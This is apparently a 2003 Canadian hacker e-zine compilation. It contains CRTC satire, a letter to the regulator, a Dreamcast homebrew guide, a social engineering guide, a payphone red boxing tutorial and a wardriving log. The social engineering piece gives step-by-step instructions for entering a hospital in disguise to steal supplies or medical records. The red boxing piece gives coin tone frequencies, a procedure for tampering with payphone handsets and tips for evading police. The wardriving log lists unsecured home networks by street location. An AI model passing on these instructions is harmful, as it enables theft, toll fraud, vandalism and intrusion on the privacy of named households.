"Oh, bags to that!" - Zeddicus Z'ul Zorander
Opened my phone bill last week. Amongst the usual pleadings for money
to feed the starving telco workers was a small 3.5" by 7.25" insert, plain
vanilla with black text. Being half-asleep at the time, I was about to
ball it up and send it to paper heaven when two things on it caught my
eye; "CRTC" and "bill of rights"...
Hmmmm. Wazzat? Guess maybe this deserves closer inspection.
What follows is verbatim from the card. With the exception that anything
enclosed in ( ) are my thoughts/snide comments upon the second reading.
*grinz* Yes, as a matter of fact, I DO enjoy being a smart ass...
"Consumers' bill of rights
The CRTC* is responsible for regulating the providers of telephone service
in Canada.
(Really? I always thought Cyb0rg/asm and The Clone were reponsible for
that...)
It has decided to created a "consumers' bill of rights".
(... does this mean my rate is getting jacked again? And what's with the
quotations? Aren't things that are theoretical and/or humorous in nature
usually enclosed in quotes? See the title of this phile for example.)
The consumers' bill of rights will set out the rights you have as a
telephone user.
(... yup, my rates are getting jacked again.)
The CRTC wants to know which of your rights as a telephone user you
believe should be included in the consumers' bill of rights.
(How about a right to bear arms against gluttonous, profiteering
corporations?)
You can send your suggestions in one of three ways:
(Only one? What is this, multiple choice? Oh my God, is this a quiz???
I didn't study! Argh!)
by mail to CRTC, Ottawa, Ontario, K1A 0N2
by fax to (819) 953-0795
by e-mail to procedure@crtc.gc.ca
Please send your ideas by 21 January 2004.
For more information, call the CRTC at 1-877-249-2782. This is a
free call.
(... there's where the rate jack came from...)
You can also check the CRTC web site as www.crtc.gc.ca
*The CRTC is the "Canadian Radio-television and Telecommunications
Commission"."
(What the hell is a Radio-television??? And where can I get one???)
Okay, all jokes aside, this actually has potential.
The CRTC seems to have clued in that people are starting (albeit sloooowly)
to wake up from "sheep mode", and start thinking outside the box. This
would include things like people wondering what rights they actually have
as a telephone user. Otherwise, the CRTC wouldn't be putting this little
project together.
I could be wrong, but it smells to me like they're trying to something in
writing that will give themselves, and telecommunications companies, a leg
to stand on if and when something major happens.
Maybe they know something we don't?
Regardless, with the telecommunications deregulation going like mad, and
long distance and wireless services popping up like weeds in a cow pasture,
the old school telco companies have got to be filling their pants, worried
that the new services will prove to the customer just how badly, and for
how long they've been getting hosed. To that effect, a lot of their
customers are going to get mad. Which leads me to believe that this is
part of the reason for the CRTC to be doing this now, when it could have
been done 10, 15 or 20 years ago.
In my opinion, the second reason comes from the telcos again. With
petabytes of information being transported across hundreds of thousands
of networks everyday, communication is quickly becoming easier, faster,
and in most cases cheaper. With this suicidal growth rate comes holes in
the system, some big enough to drive a Mack truck through. I think that
when the smoke clears, and this bill of rights is in place, it will serve
as a "box" for telco's to put customer usage in. That way, when someone
operates outside the "box", they will, theoretically, have few legal rights,
because they were operating outside of their rights, clearly defined in the
"CRTC Consumers' bill of Rights". Looks like this could be used for some
easy legal leverage by the telcos in prosecuting phreaks, and, depending on
the coverage of the final document, hackers. It wouldn't be hard for them
to tie hacking back to telephone usage if you're using dial-up. And if
you're hacking over broadband cable, well, they don't care, that's got
nothing to do with them.
Can't speak for anyone else, but I plan on dumping a few e-mails, faxes and
phone calls to the CRTC. The worst that could happen is that they ignore you.
The best that could happen is that you might actually affect the final outcome
of what could be the final decision on what your rights as a telephone user are.
Either way, it's a half-an-hour of your time. What the hell.
Or, you could do nothing, and let someone else decide your rights for you.
Either way, it will be interesting to see the final outcome...
Treephrog
http://www.verbaltheory.net
---
<Kankraka> oh man, im fucked... i just ate a whole bin of blueberries, im going to shit water
---
"The Clone writes to the CRTC"
Saturday, August 16, 2003
The Clone wrote a letter to the CRTC as suggested by his very good friend
Treephrog, who recently published "The CRTC Really Does Care About You".
http://www.hackcanada.com/canadian/phreaking/crtc_mailout.txt
Please read Treephrog's article before reading my e-mail below. Thanks.
--
Date: Sat, 16 Aug 2003 01:28:47 -0600
From: The Clone <theclone@hackcanada.com>
To: procedure@crtc.gc.ca
Subject: Suggestions...
The CRTC wants to know which of your rights as a telephone user you
believe should be included in the consumers' bill of rights. Well,
then I'll suggestion something:
1. Don't make scanning for phone numbers without the intention to
communicate illegal. I happen to think scanning numbers with the
intention of learning what exists in the phone system is the POTS
equivalent of searching the Internet for web-pages. There is a lot
out there so why shouldn't consumers have the right to scan? Tele-
marketing companies have the right to search for fax machines to
send their annoying shit - citizens should have the same equal rights.
2. Require all telephone companies to give customers the names and telephone
numbers of people prank calling them. I know that Telus and Bell Canada
will *NOT* disclose the information of a person who has been harrassing
you. However CLEC's like AT&T Canada will disclose this information, and
so will wireless carriers such as Fido (Microcell). If you force companies
to disclose this information to customers, then the idiots abusing the
phone system will think twice about pulling shit like that again.
3. Voice Over Internet Protocol. Oh my. It spells the end. Stay away from
VOIP until it at least grows and matures. And if the CRTC feels it needs
to start regulating Canadian VOIP carriers, then please only act only as
governing body that makes sure these companies aren't ripping off customers,
make sure they provide quality service (line quality and customer service),
and are allowing other VOIP companies to compete for reasonable market share!
And please please please, do not try and make it illegal for a customer to
choose to use VOIP services with an American company. There is talk amongst
my colleagues and I that the CRTC believes if a Canadian citizen uses VOIP
from an American company, that he/she is engaging in grey-area and potential
"illegal" activity. Pardon me, but the world is changing. POTS copper is dying
and Internet technology is the future for voice communication. Perhaps instead
of trying to make it outright illegal for a Canadian citizen to get VOIP services
from the United States, work with existing Canadian VOIP carriers in providing
incentives (i.e. discount long distance rates) for customers who DO stay with
homegrown the VOIP companies.
Thank you for your time. I hope you consider my suggestions for the Consumers
Bill of Rights.
Sincerely,
The Clone (Telecom Extraordinaire and Ninja)
---------------------------------------------------------------------------------
And the cold, heartless auto-response:
From: Procedure <procedure@crtc.gc.ca>
To: The Clone <theclone@hackcanada.com>
Subject: RE: Suggestions...
Date: Sat, 16 Aug 2003 03:32:06 -0400
This is an automatic confirmation that we`ve received your message.
If a response is required, we will contact you as soon as possible.
If you submit any of the following online to the CRTC, remember to
send the original by fax or regular mail:
application;
response to interrogatories;
request for public disclosure;
any other correspondence between parties involved in a CRTC proceeding.
If you submit interventions and/or comments in response to a public notice,
please be advised that only your name as well as the content of your e-mail
will be posted on the CRTC Website as part of the public file.
Thank you,
Electronic Regulatory Filing Group
CRTC
(819) 953-8142
.eof
---
<Kankraka> tv fucks me up worse the booze, it tells me what to think, what to wear, who to be.. What the hell is
wrong with me being who i want to be, wear what i wanna wear and listen to whatever music i fuckign feel like?
<theclone> Kankraka you sound like an advertisement for the concerned childrens advertisers council
---
Social Engineering 101: The Basics of Physical Entry
by Treephrog
Thursday, August 28, 2003
Disclaimer: All information contained in this file is for edu-tainment purposes
only. The author and the owner of where ever you got it from take no
responsibilty for anything that happens to you or anyone else if you choose to
try any or all of the things covered in this file. This file is reading material
only. Read it, think about it, and realize that you can't pull it off anyway,
and you will go to jail, get hurt or killed, or worse, if you attempt to do
anything covered in, or related to, this file and its' contents. By reading
beyond this disclaimer, you agree to hold harmless the author and anyone else
associated with this file. Fair warning.
Shouts: theclone, tek, kankraka, wizbone, cyb, the whole HackCanada crew, the
whole #hackcanada crew, the whole Nettwerked crew, greasy, and the whole 902...
if I missed someone, you know it wasn't on purpose. Step.
"... as the audience grows, security knows... stoppin' me now is kinda serious..."
- Limp Bizkit
The is part one of series of philes. The rest will coincide with future
releases of k-1ine.
This phile will cover the basics, through the use of examples, of what you need
to know, and what you need to consider, when using social engineering as a method
of operations for physical entry.
Our example for this phile will be a local hospital.
Point 1: Objective
Identify what it is exactly that you are trying to accomplish. If you have no
clear objective in mind, you greatly increase your chances of getting caught,
simply by way of human nature. If you are acting like you have no purpose, you
will seem out of place in the environment in which you are trying to fit into.
If you have multiple objectives in mind, prioritize them according to want/need,
as it is unlikely you will successfully complete them all in one foray. The KISS
theory applies heavily here: pick one objective, get in, get it, and get the
hell out, and don't go back.
Example: You want to "borrow" some things from your local hospital. It could be
anything; medical supplies, chemicals, medical records of yourself or someone
else, clothing, etc. Decide what you want, and keep it firmly in your mind.
For now, we're going to pick something simple, like some minor medical supplies,
rubber gloves, scrubs, bottles, etc.
Point 2: Observation
Watch and learn. This is perhaps the most critical part of social engineering,
wheather dealing in physical entry or not. Spend time watching your mark.
Learn the habits and quirks of your mark. The more you know about how your mark
works, acts and thinks, the more likely you are to succeed. Look for weaknesses
and pitfalls in your marks' physical location, such as hiding places, or places
where the risk of being caught is high.
Example: Spend time in the hospital. This is relatively easy to accomplish, as
most hospitals have a pretty much "open door" policy. You can just walk in off
the street and walk around. As long as you look like you have a purpose, staff
will generally leave you alone; they are busy. If you do get stopped during your
recon, tell the person you are looking for a friend who you were told was checked
in after he had an accident. Worst case scenario, they will drag you over to a
terminal and look to see if your friend is actually a patient. That's why it's
important to say "heard" he was admitted. Then you can always say it must be the
wrong hospital, or maybe he was never here at all, either way you were in the
neighbourhood and wanted to check in on him. Best case scenario, they will say
okay and sail away without missing a beat. Either way, if you play it this way,
you should be pretty safe. Note: Bonus points for carrying around a card and a
box of chocolates. Props can be the difference between pulling it off and
pulling time.
Point 3: Clothing and Props
Once again, mission critical choices. You clothing, choice of words, and physical
props are keys to being left alone to do what you came for. During your observation
phase, pay close attention to what the style of dress is. Also note people's voice
demeanor (how they talk, volume of voice, choice of words, key technical words) as
well as body language. Note any props that may help you to be avoided in the
environment.
Example: Depending on your angle of attack, you may think it best to pose an
intern, or as a janitor. Both have pros and cons. An intern would probably not
be questioned if seen going through a filing cabinet or logged into a terminal,
but is more likely to be stopped and questioned about something medical related.
A janitor is not likely to be stopped by anyone except a patient or a visitor,
but would be questioned instantly if found going through an open filing cabinet
or logged into a terminal. Both would have equal chance to be questioned if found
to be going through the supply room. The choice is yours.
Point 4: Timing
Depending on your mark, it may be better to make your entry when it is busy, or
when it is not busy, daylight or after dark, certain times of the week, month,
year, etc. Careful observation will allow you to see when you will be least likely
to be noticed. Generally speaking, despite your instincts, busier is better.
The chances of someone have the time to stop you and question you go down the busier
it is. Put yourself in the position of someone who actually works there; if it was
insanely busy, and you had a million things to do, would you have the time to even
notice, let alone stop and question, someone who was somewhat out of place?
Example: Depending on the hospital in question, usually busier is better. Ideally,
wait outside with your white lab coat (you DO have a white lab coat, right?) folded
up under your shirt or jacket. Wait for an ambulance to show up, hopefully (!) with
a particularly traumatic patient. Wait a minute or two after the patient is
unloaded, then scramble into your labcoat and walk purposely through the ambulance
door. It helps if you picture a particular destination in your head, like somewhere
on the upper floors. If you are walking like you are in a bit of a hurry, and with
a destination in mind, you are a lot less likely to be stopped.
Point 4: Becoming Part of the Scenery
Through the use of props and body mannerisms, make yourself blend in. You have to
appear as though you are supposed to be where you are, because it's your job to be
there. You have to make it seem as though whatever you are doing, or on your way
to do, is second nature to you. The easiest way to do this is convince yourself
that it is true. As simple and as stupid as it sounds, pretend. Force yourself
to think that you are actually who you are impersonating.
Example: If you decide to play the role of intern, looking at your clipboard,
shuffling through the sheets on it, and quietly muttering to yourself while walking
briskly will deter most people from talking to you. You look busy, you look like
you've got 400 things on your mind, and no one really wants to interrupt someone
that busy. If you play the role of janitor, get your hands on a very important/strange
looking tool, maybe something electrical related. Holding this while walking with a
purpose will deter people from talking to you, as you are obviously on your way to
fixing some very important medical equipment.
Point 5: Extraction and Exit
You managed to get where you need to be, you've managed to get what you came for,
and now it's time to leave the area. Considerations should be made for what you came
for in the first place. If your objective is a physical item or items, you need to
address how you are going to transport them away without being noticed. This becomes
less of an issue if you are dealing in data or some other less tangible for of
objective, but should still be addressed prior to entry. As far as removing yourself
from the premises, take the same care and planning that you put into getting in.
Nothing marks a sloppy job like getting caught on the way out.
Example: You can chose to leave in the same cover you came in, or, alternately,
you can duck into a bathroom and change into your street clothes. If you are
using a duffle bag or backpack, make sure to build some sort of false bottom
into it for concealment purposes.
NOTE: When looking at the example used in this text, extreme caution and
consideration should be given to security systems. A lot of hospitals today
are bristling with security cameras, metal detectors and security guards, especially
in more urban areas.
Well, that's it for this time around.
Comments, criticisms and questions can be directed to treephrog@verbaltheory.net
Audi-5000.
---
<theclone> JLo turned perfectly wonderful suburban white girls into hoochies
<tek> she did
<tek> and her ass won't get her out of it this time
---
&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&
$ The Sega Dreamcast: A Plethora of Fun -=- diabolik (c) 2003 $
&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&
%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%
@ @
# 1. Introduction #
$ $
% 2. End-user %
@ @
# 3. Developer #
$ $
% 4. Hacker %
$ $
%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%
-= Introduction =-
-- History --
The Sega Dreamcast was the first 128-bit console to be released. It's direct competition at
that time was the N64 and Playstation (The Saturn, past it's short-lived popularity, was
not a viable product anymore). Sega once again made the first step into the new level of
technology. Unfortunately, an engineer forgot one simple item in the final version of the
Dreamcast design - copy protection. This made for a quick death for the Dreamcast : what
console developer would support a system that made it *so* easy for evildoers to copy his
hard worked game? Developing for the console was considered a risk and by then, developers
were jumping on the PS2 and GameCube development platforms, with those systems' release date
just around the corner. This was the death of the Dreamcast. It quickly dropped in price,
and there were no more games being developed. While pirating these games were still a big
thing in some IRC channels, there wasn't too much DC activity going on. But then the
dreamcast revival began. Sega had used standard components when designing the Dreamcast to
save money. This allowed for a very quick homebrew community to spring up. These people
saw a powerful, cheap, accessable system, and moved to take advantage of it.
-- Specs --
The specs of the dreamcast are quite impressive (considering the ~$30-$50 price range)
200mhz Hitachi SuperH RISC CPU
NEC PowerVR2 3d-accelerator graphics chip
Yamaha AICA 64 channel PCM sound chip
16 MB RAM, (+8 MB texture and 2 MB sound)
12X GD-ROM (1 GB double-density CD-ROM)
built in 33.6k modem
The rest of this article goes into detail of what fun can be had with the dreamcast after
two years of dedication from the homebrew community.
-= End-User =-
-- Emulation --
The dreamcast has a huge emulation fanbase. You can run all the classic consoles, including
C64, NES, GB, GBC, Genesis, SNES, etc.. Of these I recommend a few, being tried and tested:
NesterDC - excellent, supports most ROMS, stable NES emulator.
DreamSNES - Around 100% speed for a lot of games, just not anything "3D" ie DOOM.
ScummVM - A very unique concept. It's a script interpreter for the old lucasarts
point&click adventure games, IE Maniac Mansion. However they have support for the entire
chain, up to Sam&Max and Day of The Tentacle. ScummVM runs on not only the Dreamcast, but
on most PCs running Windows/Linux/BeOS and even PDAs running PalmOS or WinCE. Most games
are well supported and other games are quickly becoming compatable with each release.
To find a huge number of emulators, including the two above, check out
http://www.dcemulation.com and http://www.consolevision.com. For ScummVM, go to
http://www.scummvm.org.
-- Ports --
Go to http://homebrew.dcemulation.com to find a large number of open source games for the PC
which have been ported to the dreamcast under a varying level of success. Here is also
where you'll find original games, being developed for the dreamcast. For more information
on writing your own games on the dreamcast, see (3) - Developer.
-- Applications --
Other than emulation, a number of apps have been released for the dreamcast. You can use
your dreamcast to surf the web (over dialup or if you are so lucky, with the broadband
adapter on your lan), chat on IRC, play MP3s. Some weird folk have even gotten DivX support
on the damn thing (naturally, around 5 fps with no sound.) See
http://homebrew.dcemulation.com again..
-= Development =-
-- Building your Toolchain --
Here's where it starts getting interesting. In order to develop for the dreamcast you must
have a cross-compiler toolchain (which is, a compiler running on one architecture,
outputting machine code for another architecture). In this case we actually need two
cross-compilers. One for the Dreamcast's main CPU, the SH4, and the other for the
Dreamcast's ARM sound processor. With little edits we can make both of these from the
generic GNU GCC releases.
For a host OS you can use both Linux or Windows. Assuming your linux system is already set
up for compilation, making your toolchain requires 3 tarballs, and configuring and making 4
apps. For windows, things are a little more complex since you need a system setup which
supports make. If you want to go all out, use CYGWIN (www.cygwin.com). However this is not
the best set up - it's large, slow, and a lot more than what you need. Cygwin would be good
for the weird user that wants to attempt linux support in windows, instead of just running
linux. A much easier to set up distribution would be MingW32, with its companion MSYS. An
excellent guide, with shell script attached, can be found at
http://ljsdcdev.sunsite.dk/tools.php. For the linux user, I'd suggest following the
tutorials at http://www.linuxdevices.com/articles/AT7466555948.html.
When I used the MSYS buildscript above, my compiler died on me twice while building GCC the
second time (with C++ support). You have to edit your (obj dir)/gcc/makefile. (in using the
script, this will be build-sh-g++\gcc\makefile) Firstly, find the two lines that start with
USE_COLLECT2 and change them to "USE_COLLECT2 = ". Then, find the line beginning with
STMP_FIXINC and change it to "STMP_FIXINC = ". This will fix the GCC release to work with
MingW32.
-- Installing & Building KOS --
Once building your toolchain is complete
, its time to install KOS, the well developed
low-level support for the Dreamcast (this is done automatically with the MingW32 Build
script). You can find it at http://sourceforge.net/projects/cadcdev/ . Before attempting
to build it, read the appropriate doc/readme's. You will have to edit and run environ-dc.sh
before trying to compile. There is also one file patch, I had to add "#include <stdio.h>"
to mm.c, but I also think that the build-toolchain.sh will do this for you. KOS is -=the=-
development library for the dreamcast (although I believe SDL also runs on it..), giving the
user easy access to the all the peripherals and 3D acceleration. As well, it comes with a
nice wrapper library to access the PVR chip via standard OpenGL commands. Once built, check
out /kos-1.2.0/examples/kgl/nehe for some good examples.
I suggest you add the line "export PATH=/cross/dc/sh-elf/bin:/cross/dc/arm-elf/bin:$PATH" to
the bottom of your dc-environ.sh.
For learning to write your makefiles, just look at the examples.
-- Running your code on the Dreamcast --
Once your code is compiled, run:
sh-elf-objcopy -O binary program.elf program.bin
scramble program.bin programs.bin
(you can find scramble.zip at http://www.geocities.com/ragnarok2040/ as a native MingW32
Exe.. other environments, try google. I'd suggest you edit your environ-dc.sh to add your
SH compiler's bin directory to your PATH so access to sh-elf-objcopy is quick and painless)
If you have a coder's cable (instructions to make one found at
http://dev.dcemulation.com/tutorials/createcoderscable.htm), burn the DC serial upload slave
from http://mc.pp.se/dc/serslave.html, then upload your programs via it.
If you have a broadband/lan adapter, download dc-load-ip from
http://sourceforge.net/projects/cadcdev/ and use it to upload your programs over internet.
Without either of these devices, the best way to test your apps is with DemoMenu. You can
find a nero image of a selfbooting demomenu CD by going to
http://www.geocities.com/ragnarok2040/, then downloading new.zip (source is available at
http://boob.co.uk/devtools.html). Burn the demomenu boot CD. Then, start a new
multisession standard CD (track at a time, don't finish). Use this to burn each updated
copy of your scrambled bins. Boot the demomenu CD in your dreamcast, swap discs, hit 'B' to
refresh the filelist, then highlight your executable and hit "A". If you accidentally burnt
an unscrambled ROM, hit "Y" then "A" to run it.
-- Some Demo/Tool Sources --
http://www.boob.co.uk has a good number of sources/tools/tutorials for model loading and
what not.
http://www.dcemulation.com is more end-user related, although the homebrew section has a lot
of sources available. The Dev section was never well built and has very little information.
For troubleshooting, I'd suggest the forums of both
http://www.consolevision.com and http://www.dcemulation.com. Don't bother using the #dcdev
channel (I think the server was irc.freenode.net), but either way its mostly dead.
-- KGL-X and Iris3D --
KGL-X is an additional extension to the KOS GL library. You can find it at
http://a128.ch9.de/ (homepage) or http://www.boob.co.uk/devtools.html (mirror). With KGL-X,
there has been a great 3D engine written called IRIS, found at
http://www.epitech.net/labconsole/iris/. Look into it before thinking of writing your own.
To compile Iris, here's the steps I took:
- Installed KGL-X (no problems!)
- downloaded and unzipped STLPort-4.5.3, and moved STLPort-4.5.3/stlport to
/usr/local/include/stlport (note you have to create the include directory before moving)
- copied the new stl_user_config.h from the iris3d download page to the stlport directory.
- added a line to my environ-dc.sh at the bottom (or put it at the start of the other export
PATH line you did after compiling KOS):
"export PATH=/usr/local/include/stlport:$PATH"
- Downloaded Iris 0.9.1 src from http://sourceforge.net/projects/iris3d/ and unzipped it.
- here's the problem with 0.9.1 : The developer forgot to include an empty iris-src-0.9.1/lib
directory in the archive. Before trying to compile, add this or creating the libraries will
fail.
-- Compatability --
You'll also find that a lot of the older KOS demos are broken. This is because KOS is not
backwards compatable and over time the init and include methods have changed quite
drastically. For one, if the compiler complains about missing headers, look at the source..
if its listing a bunch of "#include <kallistos/bla.h>" the errors are because newer version
of KOS include just one header for all the KOS-related functions - <kos.h>. So comment out
those lines and add "#include <kos.h>" and try to compile.
-= Hacking =-
If you're a linux user, and you followed the link to
http://www.linuxdevices.com/articles/AT7466555948.html, you might already know that you can
run linux on the Dreamcast. There are some pretty big limitations, so don't expect a full
workstation. Framebuffer support exists, but there is no support for the PVR, so don't try
to port huge linux 3d games and expect results on the dreamcast. Your entire distro exists
on a ramdisk in the 16 megs RAM of the dreamcast, and you can't mount the GD-ROM, so size is
a huge limitation. With that said, people have gotten X to run under it. Look at Christian
Berger's very detailed article at
http://www.linuxdevices.com/files/article037/dreamcast-router.pdf on getting your dreamcast
to be a dedicated firewall/router.
The creator of KOS has also made some rather remarkable hardware hacks to the dreamcast.
look at http://cadcdev.sourceforge.net/hdwrprj/navi/. He hacked together an IDE and a ISA
port to his dreamcast. Why anyone would ever need to do this is beyond me, but still a very
cool project nonetheless.
-= Conclusion =-
For $50, the Dreamcast is an open device, giving budding programmers a chance to get their
feet wet with console programming without buying expensive SDKs. While a commercial
failure, it has graced the homebrew community and will not disappear for a long time.
---==> (c) thed0wnlab@hotmail.com 2003 <==---
---
<Maggy> blow me
<nach0> I just might, Maggy
---
Jackel In The Box
Redboxing Millennium Payphones
By Jackel
Disclaimer
**********************************************************************
The information contained in this document is for educational purposes
only and I take no responsiblity for any actions you may take with use
of knowledge. So it's not my fault if you get put behind bars.
**********************************************************************
1. Intro
As long as there has been red boxing, the phone companies have always looked for ways to stop
the abuse of their phones, until the millennium pay phone came out; it seemed impossible to
stop red boxers. In this document I will show you how to beat the so called "smart phone" and
screw Telus about of a lot of cash. So have fun reading this and I hope you learn something.
Cheers.
2. What Is Red Boxing?
Red Boxing is playing the tones of coins into the handset of the pay phone to get a free call.
In Canada the tones are:
Quarter: 2200hz 33ms on 33ms off 5times repeating
Dime: 2200hz 0.06ms on 0.06ms off 2times repeating
Nickel: 2200hz 0.06ms on only once
I have also red boxed with 3900hz tones, but I will get into that a little later.
I have always found that bringing my laptop to a pay phone to generate the tones is very effective,
especially if you don't know the exact amount of cash needed for the call (be careful, while using
a live operator I have only been caught by the op once.) If you are caught, the best thing to do is
hang up and walk away.
If you require further red boxing, info please go to http://www.hackcanada.com. If you still can't
figure out how to redbox, your life of phreaking will be short lived indeed.
3. The Millennium Phone
The Millennium pay phone is the so called "smart phone" which tries to stop abusers with many different
defense strategies. You may want to stay away from opening the phone up and tearing wires apart because
an alarm will sound when the main power has been mucked with. Thats why this exploit is in the handset
which will not set off any alarm, and if the pay phone is not visited by a Telus tech often, it will not
be nessessary to perform this operation every week or so. If you do happen to set off a alarm by doing
this (it hasn't happened to me yet) the best idea is to BOOK IT AND DON'T STOP RUNNING! Run away, phreak
another day, or stay and pay (I am aware of how lame that saying is but it is very true). A common mis-
conception is that Nortel owns the Millennium design but infact the Quortech Corporation does (thanks to
Clone for that information).
Smart phone or not, don't be intimidated by this phone it may be the most "secure" phone out there but it
is still built by engineers that were on a budget. An engineer makes mistakes, but an engineer on a budget
is a disaster.
4. The Millennium Exploit
The exploit for the Millennium is a very stupid oversight by the developers of the phone (must have had
a couple blondes on the team). If you have talked to any Hack Canada members before the release of this
document they may have let you in on some aspects of the exploit. Yes it has to do with the power but
every time I have tried this, I have never set off a alarm. You have a better chance at getting laid by
Avril than you do setting off the Millennium alarm.
First off you will need some tools:
Wire Cutters
Flat Head Screw Driver
Electrical Tape (must be black!)
Super Glue (optional)
Gloves
Busting open the handset will be a lot easier if you remove the ear and mouth pieces first. I have been
told that using a clamp works well, but I just band it against the phone and keep trying to open it. Once
you got the ear/mouth pieces off, take the flathead screwdriver, go along the side of the handset where
it was glued together and hit it. It should pop open rather easily. Once you got all of that done there
should be anywhere from 4-6 wires in the handset...
1. For The Ear Peice
2. For The Mouth Peice
3. The Wire To Power Ear Peice
4. The Wire To Power The Mouth Peice
5. The Mute Wire
6. Unknown (let me know if you find out)
The Mute wire is what you are looking for. Everytime I have done this, it has been a standard copper wire
in a clear shell (it may not always be like this). As I said before dont worry about setting off any alarms
with this exploit the power suppied to the wire is minimal. To save cash you will need to clip the wire and
bend it back so the ends don't connect. After that is complete, get the 2 peices of the handset (hopefully
there are only 2) and super glue them together. Make sure it is a very very close fit so you can get the
mouth and ear peices back on. If you have completely destroyed the handset, use the tape to patch it together.
Screw the mouth and hand peices back on. Now you are ready to redbox!
Gloves: make sure you have these so that you don't leave fingerprints or anything of that sort on the phone.
I doubt the cops will lift prints off the phone (it would be a waste of time because so many people use the
phone), but better safe than in jail next to Bruno the axe murderer.
5. Red Boxing
I will not supply you with a red box program - use the tones above to make one. I have used 3900hz tones many
times which blows the mind because thats 1700hz to high. Try to use the 2200hz tones. The 3900hz tones work on
the operators almost 100%, and on the machines 50% of the time. To red box you play the tones of the coins into
the mouthpiece (something that every phreak should know, LoL). Sometimes you will get caught doing this by the
operator, and she/he might report you to the police so just hang up and walk away. With the 2200hz tones, use
33ms spacing, but with the 3900hz tones use 30ms spacing.
** Note RED BOXING IS ILLEGAL AND IS FRAUD... IT WILL MAKE YOU A CRIMINAL **
If you do get nabbed by the police, they will most likely not know what you are doing unless a Telus tech is with
them to explain what you were doing. If worst comes to worst, say you felt a need to trash the phone. The worst
that could happen is a fine and community service. If that seems bad, just think you could have been charged with
fraud!
Your best option is to do this entire procedure at 2-4am, at a phone that's out of the way so you won't be noticed.
Phreaking Tips:
- Never Take Your Car With You
- Bring A Bike / Skateboard / RollerBlades for quick get away
- Be As Quiet As Possible
- Bring a Laptop If Possible
- Make Sure You Have Social Engineering Skills
These tips are very basic and common sense. If you aren't able to do these (apart from the laptop) you shouldn't be
phreaking yet. If you don't have these skills yet they are easy to aquire....please for your own good learn these
skills before you even attempt anything you read in any document on hacking/phreaking.
6. Being Cautious
If you are a veteran phreaker, chances are you have become quite comfortable red boxing or ripping open pay phones.
You heard it from me; THIS WILL BE YOUR DOWNFALL! The minute you relax is the moment you get caught. If you do what
is said in this document, you are guilty of vandalism, fraud, and probably a couple of other things. So always keep
a look out and be aware of your area; have a escape plan, plan out what you will say to the Operator. And if a cop
shows up, chances are you will be able to social engineer your way out of jail time and just receive a small fine.
So for good reasons ph33r everything and everyone while doing this.
7. Conclusion
As long as there have been phones, there have been people who have exploited them. Although it may not have gotten
media attention until the late 80's. With recent "anti-phreaking" phones like the Millennium, it has made the simple
things in life (like redboxing) that much harder. But as the corporations find new ways to screw over the phreakers,
as well as the average Joe on the street, there will always be people like me and you willing to make them open their
eyes and see that their services could be offered dirt cheap if it weren't run by people who only care about having
million dollar houses. I hope you have had as much fun reading this as I have had writing it. Now go out there and
FUCK TELUS UP!
-Jackel
Shouts: The Clone, Kankraka, Treephrog, steelethan, port9, lattera, Natwizz, Anarchy, The Entire HC Staff And Scene,
NoSleep Magazine, Nettwerked.
09/03
---
<Kybo_Ren> would you hitch hike 200 km to get some from a ex-girlfriend, i did! being unemployed ROCKS!!!
---
The Northwest Edmonton Wi-Fi Scan
Compiled by: Cyberskank and The Clone
On this Date: Monday, August 11, 2003
Contact us: theclone@hackcanada.com
cybersk4nk@stealtc.org
Disclaimer...
This file was written as a resource for people wanting to know about the
wireless networks (both secure and insecure) in the north part of Edmonton.
It wasn't written to allow people to steal service, gain unauthorized access,
or perform illegal or unlawful activities. If you choose to involve yourself
in illegal or unlawful activities, you are completely responsible - NOT US.
Is wardriving illegal?
NO. The communications act in Canada states that public airways are just
that: PUBLIC. It is the responsibility of the broadcaster to encrypt their
data if they want privacy when using public airways. If you want help in
properly securing your wireless network(s), we suggest that you check out
this web-site: http://www.hypervivid.com/wireless.html. For all your Wi-Fi
network disclosure needs, visit: http://www.packetninja.ca. Happy wardriving!
Network 1: "linksys" BSSID: "00:06:25:98:CF:CA"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 2
Data : 0
Crypt : 0
Weak : 0
Total : 2
First : "Mon Aug 11 18:19:37 2003"
Last : "Mon Aug 11 18:19:37 2003"
Location : Regency Estates (Sturgeon County)
Network 2: "homenet" BSSID: "00:40:05:B4:7E:23"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 22.0
LLC : 32
Data : 0
Crypt : 0
Weak : 0
Total : 32
First : "Mon Aug 11 18:25:08 2003"
Last : "Mon Aug 11 18:25:12 2003"
Location : 127st 161Ave. Oxford Estates
Network 3: "Telus ADSL Connection" BSSID: "00:50:F2:C5:7A:B6"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 615
Data : 0
Crypt : 0
Weak : 0
Total : 615
First : "Mon Aug 11 18:25:40 2003"
Last : "Mon Aug 11 18:33:29 2003"
Location : 127st 161Ave. Oxford Estates
Network 4: "default" BSSID: "00:40:05:BD:1F:9D"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 22.0
LLC : 79
Data : 0
Crypt : 0
Weak : 0
Total : 79
First : "Mon Aug 11 18:25:54 2003"
Last : "Mon Aug 11 18:34:06 2003"
Location : 127st 161Ave. Oxford Estates
Network 5: "patandrandy" BSSID: "00:80:C8:0B:84:10"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 22.0
LLC : 1082
Data : 0
Crypt : 0
Weak : 0
Total : 1082
First : "Mon Aug 11 18:36:48 2003"
Last : "Mon Aug 11 18:42:25 2003"
Location : Oxford 129-A Street
Network 6: "linksys" BSSID: "00:06:25:9A:75:5C"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 900
Data : 27
Crypt : 0
Weak : 0
Total : 927
First : "Mon Aug 11 18:37:38 2003"
Last : "Mon Aug 11 18:42:02 2003"
Address found via UDP 192.168.1.0
Location : Oxford 129-A Street
Network 7: "home" BSSID: "00:50:F2:C3:43:1E"
Type : infrastructure
